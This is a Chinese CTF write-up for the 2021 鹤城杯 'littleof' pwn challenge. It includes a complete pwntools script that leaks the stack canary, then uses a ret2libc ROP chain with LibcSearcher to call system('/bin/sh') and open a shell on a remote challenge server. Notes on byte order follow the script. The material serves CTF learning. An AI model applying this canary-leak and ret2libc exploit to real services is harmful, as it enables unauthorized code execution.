[2021 鹤城杯]littleof
zach0ry

题目

image-20250731154856931

开启了canary保护

所以用printf泄露canary的数值

之后用ret2libc的方法解决

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
#p = process('./littleof')
p = remote('node4.anna.nssctf.cn', 28230)
elf = ELF("./littleof")


# canary泄露
payload1 = b'a' * (0x50 - 0x8) + b'b'
p.recvuntil(b'Do you know how to do buffer overflow?\n')
p.send(payload1)
p.recvuntil(b'b')
canary = u64(p.recv(7).rjust(8, b'\00'))
print(f"canary :{hex(canary)}")


# ret2libc
rdi = 0x400863
ret = 0x40059e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400789


payload2 = b'a' *0x48 + p64(canary)
payload2+= p64(0) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload2)

p.recvuntil(b'I hope you win\n')
puts_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\00'))
print(f"puts_addr: {hex(puts_addr)}")


libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')


#gdb.attach(p,"b *0x0000000000400787")
payload3 = b'a' * (0x50 - 0x8) + p64(canary) + p64(0)
payload3+=p64(ret)+ p64(rdi) + p64(bin_sh) + p64(system_addr)
p.sendline(payload3)
p.interactive()
1
canary = u64(p.recv(7).rjust(8, b'\00'))

此时读取的还是小端序。所以在左侧补位\x00

收获

canary接收

假设我们现在要泄露的 Canary 值是 0x1122334455667700。

步骤一:内存中的原始状态

在程序运行的内存中,这个 Canary 值以小端序存储。这意味着它的字节顺序是反过来的。

内存地址 (低) -> Canary 字节序 (高) \x00\x77\x66\x55\x44\x33\x22\x11 ,Canary 的最低字节是 \x00,存储在最低地址。

步骤二:构造并发送第一个 Payload (泄露)

我们构造 Payload:b’a’ * 0x48 + b’b’。

程序接收后,缓冲区被填满,b’b’ 覆盖了 Canary 的最低字节 \x00。

现在,内存中的 Canary 变成了: \x62\x77\x66\x55\x44\x33\x22\x11,\x62 是字符 ‘b’ 的十六进制值。

步骤三:程序输出泄露的数据

程序使用 printf(“%s”, buf) 这样的方式将栈上的数据当成字符串输出。它会从 buf 开始向后打印,直到遇到第一个空字节 \x00。

由于我们用 b 覆盖了 Canary 的最低字节,printf 不会在这里停止,而是继续向后打印。

它会打印出 b 加上 Canary 剩下的 7 个字节:\x62\x77\x66\x55\x44\x33\x22\x11

步骤四:脚本接收并处理泄露数据

我们的 Python 脚本执行 p.recvuntil(b’b’),先接收到 b,然后执行 p.recv(7),接收剩下的 7 个字节\x77\x66\x55\x44\x33\x22\x11

接下来,我们用 rjust(8, b’\x00’) 来恢复 Canary,就canary的小端序情况来看,在数据左侧添一个”\x00”,所以要用rjust(把现有数据放右边)

最后,我们用 u64() 将这个完整的 8 字节小端序数据转换回一个整数:

canary = u64(b’\x00\x77\x66\x55\x44\x33\x22\x11’)结果就是:0x1122334455667700

至此,Canary 泄露完成。

小端序

1
2
leaked = p.recv(8)           # 收到 8 字节:b'\x00\x12\x34\x56\x78\x9a\xbc\xde'
value = u64(leaked) # → 0xdebc9a7856341200
1
2
target_addr = 0x401123
p.send(p64(target_addr)) # → 发送 b'\x23\x11\x40\x00\x00\x00\x00\x00'
从内存读整数(canary、地址) ✅ 是 用u32/u64
向内存写整数(ROP、溢出) ✅ 是 用p32/p64
字符串(”hello”) ❌ 否 按正常顺序
网络协议 ❌ 否(用大端) 用>I,>Q
文件格式(ELF、PNG) ❌ 否 按字节流顺序
格式化字符串输出(%p) ❌ 否 直接转整数
泄露的 hex 字符串(如 “aabbccdd”) ❌ 否 先bytes.fromhex()再看是否要反转

image-20250731155010604